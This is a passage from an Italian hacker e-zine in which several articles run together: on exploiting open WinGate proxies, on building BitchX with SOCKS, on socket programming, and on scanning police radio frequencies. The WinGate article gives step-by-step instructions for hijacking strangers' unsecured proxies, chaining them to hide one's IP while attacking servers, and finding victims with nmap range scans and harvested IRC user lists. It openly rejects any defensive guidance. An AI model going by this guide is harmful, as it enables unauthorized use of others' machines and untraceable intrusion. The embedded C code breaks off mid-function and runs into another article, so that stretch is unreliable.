WiNGATiNG: CHE PASSi0NE! ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Se mi trovate in IRC e' molto probabile che il mio IP sia un wingate. Vi prego: non usatelo e non datelo in giro :) altrimenti dopo poco tempo quel wingate non esistera' piu'... Scherzi a parte, l'uso e l'abuso dei servizi offerti da wingate sono diventati molto comuni, soprattutto nell'ambiente IRC, dove la necessita' di ipspoofing ben si accomuna alla facilita' di utilizzo dei server wingate a tale scopo. Attualmente mi pare che tale pratica abbia subito un calo, forse scoraggiata dalla proliferazione fino a qualche mese fa di kick/ban di utenti wingate joining canali irc. Avrete visto in giro anche voi, penso, vari script per client irc atti all'automatizzazione di tale procedura. Alcuni server irc (soprattutto Undernet) sono in grado tutt'oggi di rilevare l'abuso dei servizi wingate, impedendo l'accesso al net e suggerendo (dopo tutto potrebbe trattarsi del vero proprietario del wingate! :) la visita a una pagina web delegata a dare alcuni suggerimenti per far cessare tale abuso. In proposito si veda: www.deerfield.com/wingate/secure-wingate.htm Va rilevato comunque che l'abuso piu' frequente, a parte l'IRC spoofing, riguarda: - e-mail bomber - servizi nntp (materiale xxx postato su newsgroups) - attacchi tipo denial of service (contro grossi networks) Esistono script per irc che operano wingate scanning e che creano floodbots quando ne trovano uno: e' chiaro che si possono cosi' effettuare attacchi anche da centinaia di wingates contemporaneamente, creando il caos piu' totale. Se e' vero che l'uso piu' popolare dei wingates riguarda l'accesso all'Internet Relay Chat, non e' altrettanto vero che questo sia il servizio piu' utile dal punto di vista degli hackers (iup!). Sicuramente ci sono cose ben piu' interessanti e soddisfacenti; solitamente sono servizi meno comuni alle masse o meno documentati. Ma che cos'e' un wingate? Prima di tutto la domanda e' impostata male: che cos'e' Wingate? Infatti Wingate non e' altro che un programma che gira su sistemi 95/NT e che lavora come proxy server offrendo numerosi servizi, attivabili e configurabili da un "system administrator": io personalmente ho provato l'installazione della versione 2.0b pro, che penso sia una delle ultime se non l'ultima proprio. L'utilita' di tale programma risiede nel fatto che piu' utenti possono condividere cosi' una sola linea di connessione a Internet (per es. un solo modem e una linea ISDN che servono 2 o piu' computer). Per altre info su Wingate potete dare un'occhiata alla pagina www.wingate.com NB. Wingate non e' l'unico programma che offra tali servizi e sicuramente non e' uno dei migliori. Infatti ce n'e' per esempio un altro chiamato IShare, di uso molto piu' semplice e intuitivo, reputato molto piu' valido di Wingate. Forse varrebbe la pena di indagare anche su questo prog, di cui dispongo, per verificare eventualmente la sua diffusione e le possibilita' di abuso (slurp!). Chi fosse interessato me lo faccia sapere... I pochissimi documenti riguardanti Wingate (ad esempio quello di Rhino9) sono piuttosto vaghi ed imprecisi su quali e quanti services siano offerti dal gate, in particolare sul default di un'installazione standard. Quello che e' sicuro e' che: 1) e' sempre attivo il service telnet proxy sulla porta 23; 2) tutti i services attivabili NON hanno per default una protezione via password; 3) il gate per default NON e' loggato. Gran parte dei gates installati si limita a questo: solo il servizio telnet, senza log e senza password. Il che e' certamente piu' che abbastanza! Comunque i servizi attivabili a noi utili sono essenzialmente i seguenti: - FTP proxy sulla porta 21 - Telnet proxy sulla porta 23 - Socks proxy sulla porta 1080 - IRC proxy sulla porta 6667 In questa prima parte supponiamo di avere gia' a disposizione l'indirizzo di un wingate, trovato con le tecniche che saranno descritte piu' avanti. Esaminiamo dunque i quattro servizi appena elencati e il loro utilizzo per i nostri fini :) Comincio subito col dire che l'IRC proxy, quando attivo, e' di utilita' molto limitata in quanto ridireziona il collegamento a un server irc gia' specificato dal sysadm e non modificabile (dumb mode). Quindi o vi va bene quello oppure nisba (uehhhh!). L'FTP proxy comincia ad essere piu' interessante, ovviamente anche qui se e' attivo. Supponiamo che vogliamo stabilire una connessione ftp col sito ftp.mcafee.com come user licensed e password 321 (funziona ancora? :). Ovviamente vogliamo passare per il gate, in modo da fornire alla McAfee l'ip dello stesso e non il nostro. Bastera' stabilire una connessione ftp con il gate dando: USER: licensed@ftp.mcafee.com PASS: 321 e il gioco e' fatto. Il tutto molto semplicemente ed efficacemente. Solitamente i piu' comuni client FTP sotto sistemi 95/NT (per tutti CuteFTP) prevedono l'utilizzo di tali servizi proxy: bastera' quindi impostare l'opzione relativa per rendere la cosa ancora piu' semplice e in tal caso bastera' indicare al programma di connettersi all'ftp della McAfee. Al resto provvedera' il client automaticamente. Il Socks server e' sicuramente il service piu' oscuro di tutti e ovviamente il piu' difficile da utilizzare, almeno se si vuole sfruttarlo al meglio delle sue potenzialita'. Io non sono un esperto di sockets, per cui lascio ad altri l'approfondimento di tale argomento in relazione allo sfruttamento di tali server sotto sistemi unix: l'argomento e' gia' stato iniziato nella sua genericita' su BFI2 e credo possa agevolmente essere applicato ai socks servers. Magari qualcuno ne intraprendera' la trattazione... In questa sede bastera' solo dire che sotto 95/NT ci sono parecchi programmi che sfruttano tra le modalita' avanzate l'utilizzo di socks servers (solitamente sotto la voce firewall). Ecco alcuni esempi: - Telnet Supponiamo di voler aprire una sessione telnet con il supporto del socks firewall sotto uno dei migliori client telnet, cioe' CRT. In tal caso l'utilizzo e' piuttosto semplice e banale, ma ovviamente le cose sono piu' complesse usando OS meno user friendly. In sostanza bastera' impostare l'apposita voce delle opzioni con i dati (ip e porta) del nostro Wingate per poterci quindi collegare con un target qualsiasi fornendogli l'ip del wingate e non il nostro! E non e' tutto: l'uso del socks server puo' consentire solitamente di passare attraverso firewalls! - Irc L'uso piu' classico del wingate: vogliamo stabilire una connessione IRC utilizzando il piu' diffuso client, cioe' mIRC. Nulla di piu' semplice: come al solito impostiamo i dati sotto l'opzione firewall e potremo chattare senza problemi di ip sul net che piu' preferiamo. Attenzione pero' che alcuni comandi irc potrebbero non funzionare (ad es. i trasferimenti dcc o il dcc chat); questi inconvenienti sono eliminabili ricorrendo al servizio telnet proxy sulla porta 23 del gate. Questo fatto, unitamente alla scarsita' di wingates con socks server rispetto a quelli con telnet proxy, ha fatto si' che si divulgassero quasi esclusivamente le tecniche di connessione via telnet, dimenticando un po' i servizi socks. Se poi volete curiosare anche nelle opzioni di rete del vostro browser vedrete delle voci molto interessanti sotto le impostazioni manuali proxy. Provate a smanettarci un po'... Passiamo quindi al telnet proxy, vero cavallo di battaglia dei wingates. Proviamo ad aprire una normale connessione telnet con il nostro wingate: toh, un prompt! Wingate> A differenza degli altri servizi, il telnet proxy e' caratterizzato da tale peculiarita' che consente un utilizzo piu' "interattivo" del servizio. NB. Se telnettiamo sulle altre porte attive del wingate (21, 1080, 6667) potremo stabilire una connessione, ma non avremo MAI un prompt. Al prompt del gate potremo a questo punto digitare l'ip o l'host name dove vogliamo aprire una connessione, seguiti dal numero della porta, e voila'... fatto :] Certe volte sara' necessario premere dopo tali dati, altre volte bastera' il solo invio: dipende dal client. Sotto linux non ci sono problemi, sotto 95/NT il telnet built-in avra' bisogno del solo invio, il CRT per esempio anche del control... ... vedete voi, basta provare. Wingate>server.dafottere.com 23/ Cosi' facendo ci telnetteremo sul server da fottere (siiiiii') facendo comparire sui suoi log files l'ip dello sventurato wingate di turno :) E' chiaro che se a sua volta il server wingate e' loggato, potremo essere rintracciabili, ma se avremo l'avvertenza di entrare in almeno 3-4 gates in sequenza, magari ricorsivamente, allora potremo essere sicuri al 100% sulla nostra anonimita'. Questa tecnica di wingate bouncing ha lo svantaggio, come d'altronde tutti i bouncing, di rallentare ad ogni passaggio in piu' il collegamento, con conseguente attesa dell'eco del terminale, possibili errori di digitazione, risposta scattosa ai comandi, ecc. Per non parlare della possibilita' che uno dei gates della catena vada improvvisamente down con conseguente caduta del collegamento (magari in un momento topico di hacking). Comunque, restando ancora sul problema della sicurezza, abbiamo visto che per default il logging NON e' attivo quindi se proprio un sysadm dovesse porre in sicurezza un gate attiverebbe, assieme al logging, anche funzioni di firewall filtering o di password, il che ci precluderebbe l'utilizzo del gate in toto. In ogni caso meglio essere PARANOICI che farsi beccare come dei LAMERS (puah!). E veniamo (finalmente) all'utilizzo piu' classico e piu' documentato dei server wingate: il collegamento IRC. Abbiamo visto con che facilita' si possa utilizzare la porta 1080 del gate per tale tipo di collegamento: adesso prendiamo in considerazione la porta 23 del telnet proxy. Qui non occorre fare differenziazioni tra client irc 95/NT e linux: infatti la tecnica e i comandi saranno gli stessi, inseriti manualmente (o con script) all'avvio del client irc. E' chiaro che prima di tutto occorrera' aprire una connessione con il wingate: /server wingateserver 23. A questo punto il client, credendo di avere a che fare con un server irc iniziera' a negoziare un collegamento di questo tipo; ma dall'altra parte c'e' un wingate che rispondera' con il suo prompt, ma che restera' impassibile alle richieste del nostro client (a lui incomprensibili). Vedrete dunque comparire sul vostro terminale il prompt del wingate preceduto e seguito da messaggi di errore, caratteri vari, ecc. che ignorerete del tutto :P Ricordando che dall'altra parte abbiamo comunque un server e che gli occorre semplicemente un indirizzo e una porta, bastera' utilizzare il comando /quote irc.server.net 6667 (o altra porta) per comunicare al wingate dove andare a sbattere la testa. Se aspettiamo qualche secondo vedremo allora comparire il messaggio CONNECTED e a questo punto siamo collegati con l'irc.server.net (ahhhh, rilassamento generale). Un momento, siamo a meta' dell'opera... Ora bisognera' entrare a far parte della folta schiera di utenti di quel server. Solitamente a questo punto e' il client irc che fa tutto da solo, indicando l'username, il nickname, il realname e quant'altro abbisogna l'irc-server per permettere l'entrata al net. Qui dovremo farlo noi. Secondo le specifiche standard occorrera' fornire i dati sull'utente (realname, username, hostname e servername) nonche' il nickname, separatamente (chi volesse puo' andarsi a vedere la relativa rfc per qualcosa di piu' tecnico, si tratta della 1459). Il che si traduce nei seguenti due comandi: /quote nick /quote user Se il realname contiene spazi allora sara' meglio farlo precedere da ":" in modo da essere sicuri del corretto riconoscimento da parte del server irc. Da notare che i dati relativi all'hostname e servername sono normalmente ignorati dall'irc server. Se viene richiesta una identificazione via client (mai successo...) occorrera' dare anche il seguente comando (ripetuto alcune volte): /quote ident : Il che non vuol dire che l'irc server non faccia le verifiche di routine (nslookup, reverse nslookup e ident check) producendo inevitabilmente un ident check fallito evidenziato dai simboli ~ o - davanti all'username (chiamare un /whois per verificare); infatti la richiesta di identificazione verra' inoltrata all'ip del wingate. Il tutto supponendo che non occorra una password per l'ingresso al net (in tal caso occorrera' inviare anche il comando /quote pass ). La sequenza esatta dei comandi e' la seguente: 1. PASS command 2. NICK command 3. USER command Ricapitolando, vediamo i comandi che darei io per collegarmi a irc.stealth.net alla porta stardard 6667 attraverso il wingate 24.3.35.65: /server 24.3.35.65 23 (aspettare il Wingate>) /quote irc.stealth.net 6667 (aspettare il Connected) /quote nick Darker /quote user Darker Darkreign Darkreign :Fatti gli affari tuoi! e sono dentro. NB. Con questa tecnica sono disponibili TUTTI i comandi IRC, compresi trasferimenti dcc, chat, ecc. che erano preclusi o impediti collegandosi attraverso il socks server. A questo punto le comuni papers farebbero un gran blabla su come porre in sicurezza il gate suggerendo di fare questo, quello e quell'altro, ma siccome - come avrete visto - non ho messo alcun disclaimer all'inizio dell'articolo, vi diro' la verita': non parlo di questo perche' non mi interessa e se qualche pirla di sysadm idiota sta leggendo questo foglio faccia un bel print, lo appallottoli e se lo schiaffi dove dico io! OK, ora andiamo avanti... Non resta che parlare dei metodi per trovare questi fantomatici wingates. Scommetto che ora tutti direte "ehi, io ho uno scanner per wingate" oppure "io ho il modem che li sniffa" o anche "winzoz me il trova in backgroung e quindi mi fa una pernacchia sul systray": a parte gli scherzi, di solito i metodi di ricerca dei gates sono lunghi e noiosi. Essenzialmente si prende un domscanner e lo si mette alla ricerca su un intero dominio o su una sua parte (C class o B class) o cose molto simili (script, proggie ad hoc, ecc), ma che in sostanza fanno la stessa cosa. Poi si prende il risultato e si passa al setaccio telnettando. Vediamo un esempio: - prendiamo un iprange di dominio tipo 24.3.X.X - prendiamo un domscanner o portscanner (ostronet, domscan, nmap o altri) - scanniamo tutto o parte del dominio cercando sulla porta 23 o 1080: esempio: nmap -Up 23,1080 24.3.0.0/16 (stealth scan class B) - prendiamo il file di output e verifichiamo singolarmente gli ip Una cosa del genere puo' prendere ore ed ore e magari alla fine troviamo un paio di wingates oppure addirittura nessuno! Vediamo allora come ridurre il lavoro: prima di tutto bisogna sapere che i domini sui quali e' piu' facile trovare wingates sono quelli delle compagnie che offrono servizi telematici domestici via cavo, con velocita' di trasferimento in rete anche di 100 volte superiori a quelli dei normali modem. E' chiaro che tali utenti, avendo una cosi' larga banda, condividano i servizi con altri e installino dunque wingates. Bastera' dunque sapere i nomi di alcune di queste compagnie per avere un primo indizio su quali domini indagare. Vi do' qualche suggerimento: potete cercare su: home.com mediaone.net v-wave.com videotron.net tvd.be jps.net (non sono tutte cable modem co.), ma la lista non finisce qui... cercate! Sappiamo che i gates sono molto utilizzati per irc, allora perche' non vedere sui principali net se vi sono utenti di queste compagnie collegati? Entriamo per esempio su Undernet e chiediamo al server una lista di tutti gli utenti collegati da home.com . Bastera' dare il comando ... (compito a casa :) per avere una lista di questo tipo: * cr219197 H crazy@cr219197-a.cambr1.on.wave.home.com :4 cr219197 * CC100484 H CC1004840-@cc1004840-a.strhg1.mi.home.com :5 CC100484 #alice's_restaurant Zaphs H zaphs@cx44366-a.mrdn1.ct.home.com :3 *0*0* * cc725627 H cc725627-c@cc725627-c.essx1.md.home.com :4 cc725627 #dreamwarez2 Defsnooze H@ Party@cx37606-a.elcjn1.sdca.home.com :3 Nunya #100%preteengirlsexpics Jane18 H ~Am@cx578727-a.dnpt1.occa.home.com :3 Jan #1stwarez tornado99 H tornado_ra@cr113828-a.wlfdle1.on.wave.home.com :3 tornado * SnYp H radwulf@cx80425-a.pwy1.sdca.home.com :3 snypin #hackschool Codemage H@ master@cx617799-b.omhaw1.ne.home.com :5 Matt #asian JoHn|AwAy H WArREnZ@cr990019-a.crdva1.bc.wave.home.com :3 Warren G * puzzled G puzzled@cx54647-a.omhaw1.ne.home.com :3 puzzled #playstation LStranger H BIGGS@c1004788-a.ptlum1.sfba.home.com :5 Lone Stranger * TRBLSleep H ~Double@cr317624-a.lndn1.on.wave.home.com :6 Herecomes Trouble #midiwarez rEvII_awy H@ rev@cc498352-a.flrtn1.occa.home.com :3 rev #windowsNT Hexadec G@ ~hexadec@cx50809-a.alsv1.occa.home.com :4 NT...It gets the red out #crackpipe CastSleep H@ minx@cx71328-a.pwy1.sdca.home.com :3 Caster Troy #mp3lovers JeepGuy H@ money@cs305041-a.cgmo1.ab.wave.home.com :5 you're a dirty slut #35Plus XsisBrat H@ xisis@ci75554-a.nash1.tn.home.com :3 xisis #FunWaReZ WiseOld1 H@ ~AntiScrip@cx135571-a.elcjn1.sdca.home.com :4 Rondi Vuello #warez98 Bug_ZzZz H+ ~joe@cx32600-a.msnv1.occa.home.com :3 joe Sappiamo inoltre che solo gli utenti autorizzati all'uso del gate hanno l'identificazione, per cui quelli che non ce l'hanno (simbolo ~ o - davanti all'username) sono dei potenziali abusivi: cioe' quello che stavamo cercando... In sostanza si opera uno scan su tutti gli utenti della lista (telnettando sulla 23 o 1080 del relativo hostname) oppure, se ci si vuole proprio sbrigare, soltanto su quelli non identificati e cioe': #100%preteengirlsexpics Jane18 H ~Am@cx578727-a.dnpt1.occa.home.com :3 Jan * TRBLSleep H ~Double@cr317624-a.lndn1.on.wave.home.com :6 Herecomes Trouble #windowsNT Hexadec G@ ~hexadec@cx50809-a.alsv1.occa.home.com :4 NT...It gets the red out #FunWaReZ WiseOld1 H@ ~AntiScrip@cx135571-a.elcjn1.sdca.home.com :4 Rondi Vuello #warez98 Bug_ZzZz H+ ~joe@cx32600-a.msnv1.occa.home.com :3 joe Ovviamente utenti su canali warez, xxx, hacker e simili hanno piu' probabilita' di essere connessi a un wingate che altri; direi per esempio che il quinto user della lista e' quello piu' probabilmente attaccato a un gate (vado a naso... provate. :) Se non trovate niente per home.com passate a un altro dominio e cosi' via: alla fine vi assicuro che otterrete risultati MOLTO migliori di quelli che otterreste con uno scanning indiscriminato. Ovviamente potete provare su piu' Net irc. Se siete pratici di irc e non frequentate sempre i soliti canali, allora conoscerete forse qualcuno di questi che bandisce i wingates. A questo punto bastera' entrarvi dal vostro ip normale e prelevare con nonchalance la banlist per avere una miniera di wingates, soprattutto se il canale e' molto frequentato (sara' per questo motivo che ormai quasi nessun canale bandisce piu' i wingates? mah...). Con questa tecnica potrete trovare soprattutto wingates cosiddetti statici, cioe' fissi su uno stesso ip (pur andando up and down a caso); si potrebbero cercare anche wingates dinamici, cioe' che variano continuamente di ip (perche' l'utente e' un ISP user ed e' connesso al net dinamicamente). Secondo me non vale neppure la pena di cercarli, sapendo che il giorno dopo o qualche ora dopo saranno svaniti nel nulla. Chiaro che se l'ISP e' piccolo e l'utente affezionato, il tutto potrebbe esserci utile. PROVATE! Come altri hanno detto prima di me, ci vuole soprattutto fantasia. Ok, ragazzi, credo di aver finito (ufff che fatica!). Penso che questa sia una buona base per iniziare a indagare piu' a fondo su alcuni aspetti dell'argomento, che promettono veramente bene :] lavorateci sopra e... have phun! Tenete comunque bene a mente che nuke is lame! Alla prossima. Darker ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ S0CKS WiTH áiTCHX H0W T0 ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ SOCKS che passione!! Introduzione ~~~~~~~~~~~~ Non so se ci avete fatto caso, ma l'ultima moda su IRC e' quella di apparire "dietro" un firewall... Chi usa Windows col mIrc non ha grossi problemi, avendo un supporto diretto per i SOCKS... almeno a prima vista tale supporto non e' fornito nei client irc per linux. Possibile che il linux non possa usare i SOCKS!? No, anzi... una volta impostati correttamente si possono usare in maniera molto piu' produttiva. In questo articolo mi limitero' a parlavi di come usare i SOCKS in ambito IRC. 1. Cos'e' un firewall SOCKS ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sebbene l'uso di tutte le caratteristiche di questi firewall sia molto complesso, l'utilizzo nell'ambito IRC e' identico a quello di un proxy. Il problema principale e' quello di adattare il programma (nel nostro caso il BitchX) a comunicare tramite il protocollo descritto nella rfc 1928. Come vedremo il tutto si riduce a ricompilare il BitchX con le opportune librerie. 2. I file necessari ~~~~~~~~~~~~~~~~~~~ Come prima cosa e' necessario procurarsi il SOCKS5Toolkit fornito dalla NEC nel sito www.socks.nec.com: il file da scaricare e' socks5-v1.0r5.tar.gz Chiaramente sono necessari anche i sorgenti del BitchX: li potete scaricare via ftp da ftp.bitchx.org: il file da scaricare e' ircii-pana-74p4.tar.gz al momento in cui leggete dovrebbe essere uscita la versione 75, ma il procedimento da usare e' sostanzialmente lo stesso. Ok, avete tutto il necessario. De-tarrate i file con i classici comandi: tar xvfz socks5-v1.0r5.tar.gz tar xvfz ircii-pana-74p4.tar.gz otterrete le directory socks5-v1.0r5 e BitchX. 3. Installare il supporto per i SOCKS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Bene, nella dir socks5-v1.0r5 saranno installati i sorgenti di un server SOCKS 5, delle librerie, dei file include e di una serie di client... dateci un'occhiata... sono molto utili ;) Entriamo nella dir e come prima cosa facciamo creare i makefile adeguati al nostro computer: ./configure dopodiche' dobbiamo compilare esclusivamente quello che serve per utilizzare i client (in altri termini evitiamo di compilare il server). Portiamoci nella dir socks5-v1.0r5/lib e impartiamo i comandi make install make util.install andiamo in socks5-v1.0r5/include e digitiamo make install In questo modo abbiamo compilato le librerie e installato i file include. 4. Includere in BitchX il supporto per i SOCKS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Il supporto ai SOCKS e' previsto nei sorgenti del BitchX. L'unico problema che si puo' incontrare e' che il nome della libreria prevista dal configure del BitchX e' socks mentre quella da noi installata e' socks5. In questo articolo procederemo alla modifica diretta di un paio di file per il supporto ai socks. Andiamo nella directory dei sorgenti BitchX e impartiamo il solito ./configure entriamo nella dir BitchX/include e editiamo il file defs.h; alla riga 141 troveremo: /* #undef SOCKS */ che va cambiata in #define SOCKS salviamo defs.h, torniamo nella directory BitchX e editiamo il file Makefile; la linea 35 va cambiata da LIBS = -lncurses -lm -ldl a LIBS = -lncurses -lsocks5 -lm -ldl Adesso e' tutto pronto... possiamo compilare il BitchX con un bel make non badate alla serie di warning che il compilatore vi sforna... alla fine della compilazione potete usare ancora il make per installare il BitchX nelle directory migliori come indicato nel file BitchX/INSTALLATION 5. Quale server utilizziamo?? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Bene, abbiamo quasi finito... bisogna indicare quale server SOCKS utilizzare nel file /etc/libsocks5.conf. Per esempio, se vogliamo collegarci tramite intra.ccbe.org troviamo il suo ip numerico tramite un nslookup e scriviamo nel file: socks5 - - - - 194.119.249.7 a questo punto possiamo avviare BitchX con la solita sintassi, collegandoci al server irc prescelto tramite il SOCKS!! :DD Un buon metodo per mantenere piu' firewall nel file e' quello di commentare le varie linee con un # iniziale e decommentarle a seconda del server che si vuole utilizzare. Ecco un programma in C scritto da Sorbo per autoconfigurare libsocks5.conf: ------------------------------- CUT HERE --------------------------------- #include #include char *line[100]; FILE *f; int lastIndex = 0; int maxlen = 1000000; void delSquare() { int pos; char*token; srand(time(0)); pos = rand()%lastIndex; token = strtok(line[pos],"#"); strcpy(line[pos],token); printf("%s\n",line[pos]); } void wrtFile() { char *buff = malloc(maxlen +3); int i = 1; if((f = fopen("/etc/libsocks5.conf","w"))==NULL) { printf("Unable to open /etc/libsocks5.conf for writing\n"); return; } strcpy(buff,line[0]); strcat(buff,"\n"); for(i = 1; i < lastIndex; i++) { strcat(buff,line[i]); strcat(buff,"\n"); } fwrite(buff,strlen(buff),1,f); fclose(f); free(buff); } void findLastIndex() { int i = 0; for(i = 0; i > -1; i++) { if(line[i]==NULL) { lastIndex = i; return; } } } void putSquare() { int i = 0; for(i = 0; ih_addrtype; /* riempie la struttura sockaddr_in */ sa.sin_port= htons(portnum); /* per l'uso con la bind() */ if ((s= socket(AF_INET, SOCK_STREAM, 0)) < 0) /* crea il socket */ return(-1); if (bind(s,(struct sockaddr *)&sa,sizeof(struct sockaddr_in)) < 0) { close(s); return(-1); /* associa l'indirizzo al socket */ } listen(s, 3); /* numero massimo di connessioni */ return(s); } ho commentato abbondantemente il codice, non e' difficile seguirlo. L'unico parametro in ingresso alla funzione estabilish() e' la porta sulla quale vogliamo che il server accetti le connessioni. Come potete vedere dal codice anche bind() e accept() ritornano il valore -1 se qualcosa va storto. 3.0 Accettare le connessioni ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Bene, a questo punto disponiamo di un socket pronto a ricevere le "chiamate". Dobbiamo ora intercettare queste chiamate e aprire un nuovo socket per ogni client che richiede la connessione. Questo compito e' svolto dalla funzione accept(): int accept (int s, struct sockaddr *address, int *addrlen) s: socket in ascolto; address: struttura sockaddr riempita dalla accept() e che contiene l'indirizzo del chiamante; addrlen: lunghezza della struttura address. Il valore di ritono della accept() e' molto importante: esso e' un nuovo socket collegato con il client e tramite il quale e' possibile effettuare la comunicazione vera e propria. Informazioni sull'indirizzo del client possono essere trovate ispezionando con le solite modalita' la struttura address. Se non siamo interessati ai parametri del client possiamo utilizzare la seguente funzione int get_connection(int s) { int t; if ((t = accept(s,NULL,NULL)) < 0) return(-1); return(t); } Come potete osservare, l'uso dei puntatori NULL pregiudica il recupero delle informazioni sul client. 4.0 Un po' di multithreading ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Normalmente la funzione accept() e' una funzione "bloccante" ovvero una volta chiamata cede il controllo al programma solo quando un client cerca di collegarsi al server. Questo non e' un problema reale, perche' la gestione dei client avviene mediante il multithreading. La funzione piu' usata in questo ambito e' la fork(). Essa consente di "duplicare" il processo che si sta eseguendo: otteniamo cosi' un processo "padre" e uno "figlio" che possono eseguire operazioni diverse a seconda del valore ritornato dalla fork(). pid_t fork(void) La funzione ritorna nel processo padre il PID del processo figlio mentre nel processo figlio ritornera' il valore 0; se c'e' qualche eccezione fork ritorna -1 nel processo padre. A questo punto possiamo essere piu' precisi sul punto 3 dell'algoritmo nel paragrafo 1.0. In linea di principio il programma server evolve secondo le seguenti chiamate: s = socket(...); bind(s, ...); listen(s, ...); for (;;) { sc = accept(s, ...); if (fork()==0) GestisciRichieste(); } la funzione GestisciRichieste e' quella che comunica col client utilizzando le funzioni read e write sul socket sc oppure sfruttando lo streaming come visto nel bot della volta scorsa. Non dimenticate di inserire negli #include il file unistd.h necessario per usare la fork(). I vari processi creati in questa maniera possono comunicare tra di loro o con il processo padre tramite un certo numero di tecniche: si possono utilizzare socket AF_UNIX, creare code di messaggi, utilizzare semafori e memoria condivisa... ma questo e' fuori dal range di questo articolo. 5.0 Gestione estesa degli errori ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Abbiamo visto che pressoche' tutte le funzioni utilizzate restitutiscono -1 in caso di errore. Tuttavia puo' essere necessario sapere qualcosa in piu' su cosa e' andato storto. In ambiente Linux si puo' risolvere il problema leggendo la variabile errno che contiene un valore a cui e' associato il particolare tipo di errore che si e' verificato. Esistono una serie di macro che consentono una gestione piu' descrittiva di tali valori. I principali errori che possono verificarsi per ogni funzione sono riportati nelle man pages di ogni funzione. Per quando riguarda il windows se una funzione e' fallita bisogna richiamare la funzione specifica WSAGetLastError() che restituisce un valore utilizzabile in maniera analoga al errno di UNIX. Anche in questo caso, per conoscere i codici dei vari errori vi rimando alla documentazione che potete rintracciare ai siti che vi segnalero' fra poco. 6.0 Conclusioni ~~~~~~~~~~~~~~~ A questo punto molti di voi si aspettano un po' di codice: bene, dovrete pazientare un po'... nel prossimo articolo porteremo avanti un progetto alquanto evoluto che includera' gli argomenti trattati in questo articolo. Comunque dovreste essere in grado di costruirvi il vostro server sfruttando i concetti in questo articolo e in quello della volta scorsa... Per finire vi segnalo un paio di URL dove potete trovare altra documentazione: www.sockets.com Non perdetevi questo sito... sebbene sia windows-oriented i suoi link e i suoi doc sono una vera e propria miniera di info. members.tripod.com/~LordFelix/bsdsock3.htm La traduzione in italiano (curata da me e da bELFaghor) di uno dei piu' famosi tutorial sull'uso dei sockets. Ok, per questo numero e' tutto: vi aspetto la prossima volta quando parleremo della progettazione e realizzazione di un particolare server. LordFelix ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ RADi0 SCANNiNG ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Introduzione La gamma di frequenze a nostra disposizione e' molto ampia, io voglio centrare l'attenzione su quella parte in cui si svolge attivita' di pubblica sicurezza e servizi. Naturalmente ascoltare tutto quello che viaggia nell'etere puo' risultare improponibile sia per i mezzi, a volte costosi, sia per la vastita' delle frequenze utilizzate per le radiocomunicazioni. Le frequenze che trattero' saranno le VHF, le UHF, la gamma dei 900 MHz. Alla fine potrete trovare alcune frequenze divise per regione (solo settentrionali) che riguardano: -carabinieri -polizia -guardia di finanza -vigili del fuoco -soccorso alpino Per poter ascoltare serve uno scanner, radio ricevente con gamma di frequenze variabile a seconda del modello e con modo di ricezione diverso (AM-FM(N/W)-LSB-USB). Un buono scanner di marca (ICOM -YEASU - etc.) che copre da 0-1.3 Ghz puo' costare da 600.000 L. in su' secondo le caratteristiche tecniche dell'apparecchio. Serve poi un'antenna a seconda della frequenza che si intende ascoltare. Esistono antenne che coprono un'ampio spettro a discapito pero' del guadagno, l'ideale sarebbe avere una antenna per ogni gamma di frequenze, per avere cosi' il piu' alto rendimento. In modo particolare per le HF le antenne potrebbero essere anche ingobranti, ma di facile costruzione (basta un filo tagliato alla lunghezza d'onda che si utilizza). Per le VHF-UHF invece puo' bastare anche un'antenna interna, magari preamplificata. In generale comunque e' auspicabile avere un'antenna filare, correttamente taliata, per le HF, e una antenna bibanda che copre le VHF/UHF. I costi per le antenne sono molto contenuti, infatti per le filari basta un filo elettrico e un paio di connettori PL mentre per una buona antenna VHF/UHF verticale il costo e' di poche decine di mila lire. Spesso si sottovaluta l'importanza dell'antenna, forse per il basso costo, forse per la difficile installazione, ritengo personalmente che l'antenna sia l'elemento piu' importante di una stazione radio, e la sua ubicazione deve essere studiata attentamente. VHF Le VHF (very high frequency) utlizzate per radiocomunicazioni vanno dai 30 MHz ai 300 MHz. Possiamo dividerle a grandi linee cosi': 30 - 50 (MHz) : interfoni , alcuni servizi di sicurezza , vecchi cordless non omologati 50 - 55 (MHz) : gamma OM dei 6m. 55 - 70 (MHz) : canali radiotelevisivi ( spesso RAI 1) 70 - 80 (MHz) : polizia - vigili del fuoco 80 - 87.5 (MHz) : trasponder ponti stazioni radiofoniche "FM" 87.5 - 108 (MHz) : stazioni radiofoniche "FM" 108 - 136 (MHz) : areonautica civile 136 - 144 (MHz) : ministero degli interni (inutilizzata) 144 - 146 (MHz) : gamma OM dei 2m. 146 - 150 (MHz) : ministero degli interni (inutilizzata) 150 - 155 (MHz) : finanza 155 - 174 (MHz) : ponti ad uso civile 174 - 250 (MHz) : alcune televisioni locali 250 - 300 (MHz) : parte della banda areonautica militare Allora veniamo alle cose che possono interessare di piu', per ordine di frequenza parliamo dei famosi cordless non omologati, i piu' famosi sono i "panasonic". Sono dei 